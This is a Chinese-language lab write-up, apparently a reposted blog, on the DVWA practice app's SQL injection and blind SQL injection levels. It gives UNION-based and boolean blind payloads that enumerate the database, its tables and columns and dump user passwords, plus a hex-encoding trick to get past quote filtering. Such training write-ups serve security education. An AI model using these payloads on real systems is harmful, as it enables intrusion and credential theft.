DVWA靶场中SQL注入

news2024/11/26 14:45:30

DVWA靶场中SQL注入

  • 1.DVWA靶场中SQL注入
    • 1.1.SQL Injection
      • 1.1.1.Low级别
      • 1.1.2.Medium级别
      • 1.1.3.High级别
    • 1.2.SQL Injection(Blind)
      • 1.2.1.方式
      • 1.2.2.Low级别
      • 1.2.3.Medium级别
      • 1.2.4.High级别

1.DVWA靶场中SQL注入

1.1.SQL Injection

1.1.1.Low级别

  1)判断注入类型当输入1和1 and 1=2的时候均能够正常返回数值,证明不是数字型输入。那么这里基本上就能够判断是字符型注入。
在这里插入图片描述

  2)判断字符型注入。输入1’ and 1=2 #的时候出现报错,证明存在字符型注入,并且单引号闭合。

1and 1=2 #

在这里插入图片描述

  3)判断有多少列当输入1’ order by 3#的时候出现报错,那么证明存在两列。

1' order by 3#

在这里插入图片描述

  4)联合查询判断可显示的注入点,当输入-1’ union select 1,2# 就能够显示1和2在的位置。

-1union select 1,2#

在这里插入图片描述

  5)查看当前数据库名。输入-1’ union select database(),2#能在原来1的位置显示数据库名。当前的数据库名:dvwa。

-1union select database(),2#

在这里插入图片描述

  6)获取数据库表。当输入-1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=“dvwa”#的时候在2号位显示出两张表为:guestbook,users。

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema="dvwa"#

在这里插入图片描述

  7)获取数据库的列。但输入-1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=“users”#的时候在2号位显示出很多的列,我们就看其中的user和password。

-1' union select 1,group_concat(column_name) from information_schema.columns where table_name="users"#

在这里插入图片描述

  8)查询列下的账号密码。当输入-1’ union select group_concat(user),group_concat(password) from users #的时候就能够显示出所有的账号和密码。当然这里的密码是加密的,若需要查看真实的还需要去进行界面。

-1' union select group_concat(user),group_concat(password) from users #

在这里插入图片描述

1.1.2.Medium级别

  1)从页面以及url看到都无法进行输入,那么就需要使用抓包软件进行测试了。
在这里插入图片描述

  2)从抓包获取到的数据能够看到在最下面有id,那么思考是不是可以从这里进行注入测试。
在这里插入图片描述

  3)把包发入重放器进行测试。
在这里插入图片描述

  4)判断注入类型,在重放器中修改id为1 and 1=2#的时候页面不正常,那么可以判断页面为数字型注入。

1 and 1=2#

在这里插入图片描述

  5)判断数据库列,当输入1 order by 3#的时候页面就不正常,那么证明存在两列。

1 order by 3#

在这里插入图片描述

  6)判断注入点,当输入-1 union select 1,2#的时候显示1和2的显示位。

-1 union select 1,2#

在这里插入图片描述

  7)判断数据库名输入:-1 union select database(),2#

-1 union select database(),2#

在这里插入图片描述

  8)判断数据库表。这里需要注意的是引号被过滤了。这里后面就不要输入dvwa直接输入database()。

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

在这里插入图片描述

  9)获取数据库的列,这里依旧的过滤了引号,那么就使用十六进制绕过。users的十六进制是0x7573657273

-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#

在这里插入图片描述

  10)获取数据库的账号密码。

-1' union select group_concat(user),group_concat(password) from users #

在这里插入图片描述

1.1.3.High级别

  1)调整为高级别后发现,需要点击才能够进行输入,这样防御了自动化输入,但是可以手动进行测试。
在这里插入图片描述

  2)输入1 and 1=2#正常,但是当输入1’ and 1=2#不正常,那么证明可以判断为字符型注入。

1 and 1=2#   正常
1' and 1=2#   不正常

在这里插入图片描述

  3)输入1’ order by 3#的时候出现了报错。

1' order by 3#

在这里插入图片描述

  4)当输入-1’ union select 1,2#的时候就能够显示出1号位和2号位。后续的整体操作和low级别的操作是一致的。

-1' union select 1,2#

在这里插入图片描述

1.2.SQL Injection(Blind)

1.2.1.方式

  这里都是使用布尔盲注进行测试,也可以使用延迟注入进行测试,报错注入经过测试好像不行。

1.2.2.Low级别

  1)通过对页面进行测试发现并不会显示出数据,只会告诉你数据库中是否存在该数据。
在这里插入图片描述

  2)那么首先还是测试是什么类型的注入。
使用1 and 1=2#能够正常返回,但是使用1’ and 1=2#就会出现报错,那么就可以判断为字符型注入。

1 and 1=2#正常
1' and 1=2#不正常

在这里插入图片描述

  3)没有显示,那么这里就需要使用盲注进行测试了,这里使用布尔盲注,首先测试一下数据库名

1' and length(database())>10#  MISSING 
1' and length(database())>5#  MISSING 
1' and length(database())>3#  exists 
1' and length(database())=4#  exists

在这里插入图片描述

  4)判断数据库名,这里我的知道数据库名是dvwa,那么这里就随便测试一下,做个案例。

1' and ascii(substr(database(),1,1))=99# MISSING 
1' and ascii(substr(database(),1,1))=100# exists

  测试完数据库的首位字母为d,当然100是ascll码中等于d。那么其他的第二位、第三位、第四位也使用这个方式进行测试。

1' and ascii(substr(database(),2,1))=118# 第二位为v
1' and ascii(substr(database(),3,1))=119# 第三位为w
1' and ascii(substr(database(),4,1))=97# 第四位为a

在这里插入图片描述

  5)猜测表的个数量,那么这样可以看出下面是有两个表的。

1and (select count(table_name) from information_schema.tables where table_schema=database())=2

在这里插入图片描述

  6)猜测表的长度,采用的方式还是和猜测数据库名称一样,进行判断。

1and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9#

在这里插入图片描述

  7)猜测表名,猜测第一张表第一个字母。

1and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103#

  第一个表的名字是guestbook
在这里插入图片描述

  8)猜测表名第二个表第二个字母

1and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=117#

  第二个表名是users
在这里插入图片描述

  9)猜测字段数量

1and (select count(column_name) from information_schema.columns where table_name= ‘users’)=8#

在这里插入图片描述

  10)猜测字段长度

1and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7#

  11)判断users中第一行第一个字母

1' and ascii(substr((select user from users limit 0,1),1,1))=97#

在这里插入图片描述

  12)判断password中第二行第四个字母

1' and ascii(substr((select password from users limit 1,1),4,1))=97#

在这里插入图片描述

1.2.3.Medium级别

  1)其实这关和SQLlnjection中的medium差不多都是需要进行抓包进行获取id然后修改数据包进行获取。
在这里插入图片描述

  2)这里就演示前几步,而注入点和注入类型就不进行测试了。这里直接测试数据库名长度。

1 and length(database())=4#

在这里插入图片描述

  3)测试数据库第一位字母

1' and ascii(substr(database(),1,1))=100#

在这里插入图片描述

  4)在测试字段长度的时候需要使用单引号,而在这关中对单引号进行了过滤,那么这里可以使用十六进制进行绕过。

原始:1 and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7#
进制:1 and length(substr((select column_name from information_schema.columns where table_name= 0x7573657273 limit 0,1),1))=7#

在这里插入图片描述

  5)后续的测试方式和low级别一样。

1.2.4.High级别

  1)盲注high和SQL lnjection中的high是一样的,都是需要点击才能够进行输入,这样防御了自动化输入,但是可以手动进行测试。
  2)整体的测试和low级别也是一样的,不需要抓包,可以直接在弹出的窗口中直接测试。
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/86164.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

高中数理化杂志高中数理化杂志社高中数理化编辑部2022年第21期目录

高考全关注《高中数理化》投稿:cn7kantougao163.com 直线与圆的方程高考热点赏析 廖永福; 1-4 一道课本例题到一道高考试题的衍变之路 高磊; 4-8 圆的多种定义形式在解题中的应用 李光彬;邵建凤; 9-10 从2021年全国新高考Ⅰ卷第21题说起 王菊;张琥;…

碳交易机制下考虑需求响应的综合能源系统优化运行(Matlab代码实现)

💥💥💞💞欢迎来到本博客❤️❤️💥💥 🏆博主优势:🌞🌞🌞博客内容尽量做到思维缜密,逻辑清晰,为了方便读者。 ⛳️座右铭&a…

接口测试(五)—— PyMySQL增删改查、数据库工具类封装

目录 数据库操作应用场景 一、PyMySQL操作数据库 1、安装PyMySQL 2、PyMySQL操作步骤 3、事务的概念 4、PyMySQL连接数据库 4.1 建立连接方法 4.2 入门案例 5、PyMySQL操作数据库 5.1 SQL 语法 5.2 数据库查询 5.3 案例(查询) 5.4 数据库UI…

代码随想录训练营第七天

专题:哈希表 题目:四数相加 题目简单:把四个数组分成两队,然后用map,保存前两个数组的元素之和,(key,val)key保存的是前两个数组的元素之和的数值,val保存的是数值对应…

PDF设置密码保护的两种方法

PDF文件可以根据需要,设置两种密码来保护文件。 需要保护文件内容,不想PDF被随意打开,我们可以设置打开密码,这样只有输入正确的密码才能打开文件。 在编辑器中打开PDF后,找到菜单中【保护】选项下的【密码加密】&am…

SpringCloud01

1.认识微服务 随着互联网行业的发展,对服务的要求也越来越高,服务架构也从单体架构逐渐演变为现在流行的微服务架构。这些架构之间有怎样的差别呢? 1.0.学习目标 了解微服务架构的优缺点 1.1.单体架构 单体架构:将业务的所有功能集…

33-98-spark-核心编程-RDD算子和任务阶段等

33-spark-核心编程-RDD: 1、RDD的创建,4中方式。分别是从内存中创建,从文件中创建,从其他RDD创建和new RDD,后两者不常用。 创建:big-data-study\Spark-demo\src\main\java\spark\core\com\zh\rdd\builde…

PTA-基础编程题目集(函数题)

个人主页:平行线也会相交 欢迎 点赞👍 收藏✨ 留言✉ 加关注💓本文由 平行线也会相交 原创 收录于专栏【[PTA刷题训练营]】 目录6-1 简单输出整数6-2 多项式求值(重点掌握)6-3 简单求和6-4 求自定类型元素的平均6-5 求…

医院陪诊小程序怎么开发-医院陪诊小程序源码功能

目前医院陪诊新型行业已经占据了很大的市场所在,我们去医院看病找医生挂号帮忙取药有时候去外地人生地不熟的 自己转半天摸索不过来浪费时间 而且有时候一个人需要陪同比较放心,所以呢衍生出来了 热门的陪诊师 如何开发? 开发无非就是几种 …

如何为 Longhorn 扩展对象存储能力

作者: 王海龙,Rancher 中国社区技术经理,Linux Foundation APAC Evangelist,负责 Rancher 中国技术社区的维护和运营。拥有 8 年的云计算领域经验,经历了 OpenStack 到 Kubernetes 的技术变革,无论底层操作…

软件包管理器RPM与yum

1、RPM安装软件包 安装单个rpm软件包 下载JDK8u221的rpm软件包 链接:https://pan.baidu.com/s/1fYKNNM02GBh-cOUuajkBIg 提取码:yg53 上传JDK8u221的rpm软件包到虚拟机/opt目录 命令:rpm -ivh jdk-8u221-linux-x64.rpm 查看JDK版本 命令&a…

C语言split分割字符串

C语言split分割字符串。 //以下解法的前提是,先把所有环变成1.无环路,2.一个环没有扣住3个及以上的其他环 voidmain(){ intarray[16]{0}; //init,array[1]xxx;根据输入初始化数组,如1-2,则,array[1]2,... intHash…

在线人事管理系统

开发工具(eclipse/idea/vscode等):idea 数据库(sqlite/mysql/sqlserver等):mysql 功能模块(请用文字描述,至少200字):本系统按功能分为以下几个模块: “简易云”是这个系统的名字 (1)登录页面:实…

【HMS Core】华为统一扫码服务ScanKit如何获取具体条码的类型?

1、问题描述 项目中接入了华为的统一扫码服务SDK,识别过程正常,但是目前有个需求,需要在扫码完成之后根据条码的具体类型处理接下来的业务。 问题是:识别完条形码后,如何拿到具体的条形码和二维码类型,比…

从零搭建本地pypi镜像源1:快速体验

前言: 许多公司,出于数据安全与知识产权的原因,在公司内部搭建局域网进行算法开发。配置一个本地的pypi镜像源对工程开发十分重要。搭建本地pypi镜像源的工具有多种,本文主要介绍pip2pi方法。 第一步:新建项目&#…

间接采购品类多,机械制造企业如何破局制胜优化间采管理?

受贸易政策和能源结构转型等宏观因素的叠加影响,当前机械制造业的市场环境正在迅速变化。过去几十年来,全球经济的有利形势迅速逆转,复杂的国际形势也影响了区域乃至全球贸易平衡。在国内,疫情频发、产业升级、能源转型、“双碳”…

10个提高生产力的 Linux 命令与技巧,用完直接起飞

文章目录一、前言二、使用tab键进行补全2.1 使用Tab键补全命令2.2 使用Tab键补全路径2.3 使用Tab键补全参数三、切换回上一个工作目录四、返回用户主目录五、搜索您使用过的命令六、移至行首或行尾七、快速删除八、使用 less读取文件九、格式化输出结语一、前言 在本文中&…

多数据源解决分布式事务

环境:ideaspringboot2.x 场景:调用addUser方法执行对两个数据库的表操作,如果方法出现异常就回滚 user数据库中的users表 order数据库中的order_number表 将各自的事务管理器改为统一事务管理器即可 第一步pom文件配置jta atomikos 依赖 &l…

Acwing-872. 最大公约数

d | a, a | b > d | ax by (a, b) (b, a mod b) 证明:a mod b a - [a / b] * b a - c * b 注:[ ] 为下取整符号,[a / b] 记为c 所以,(a, b) (b, a - c * b) &#xf…

FFmpeg基础到工程-多路H265监控录放开发学习笔记

多路H265监控录放开发学习笔记 课程涉及:FFmpeg,WebRTC,SRS,Nginx,Darwin,Live555,等。包括:音视频、流媒体、直播、Android、视频监控28181、等。 具体内容包括: 一、视频监控的架构和流程 二、FFmpeg4.3SDL2Qt5开发环境的搭建 三、FFmpeg的…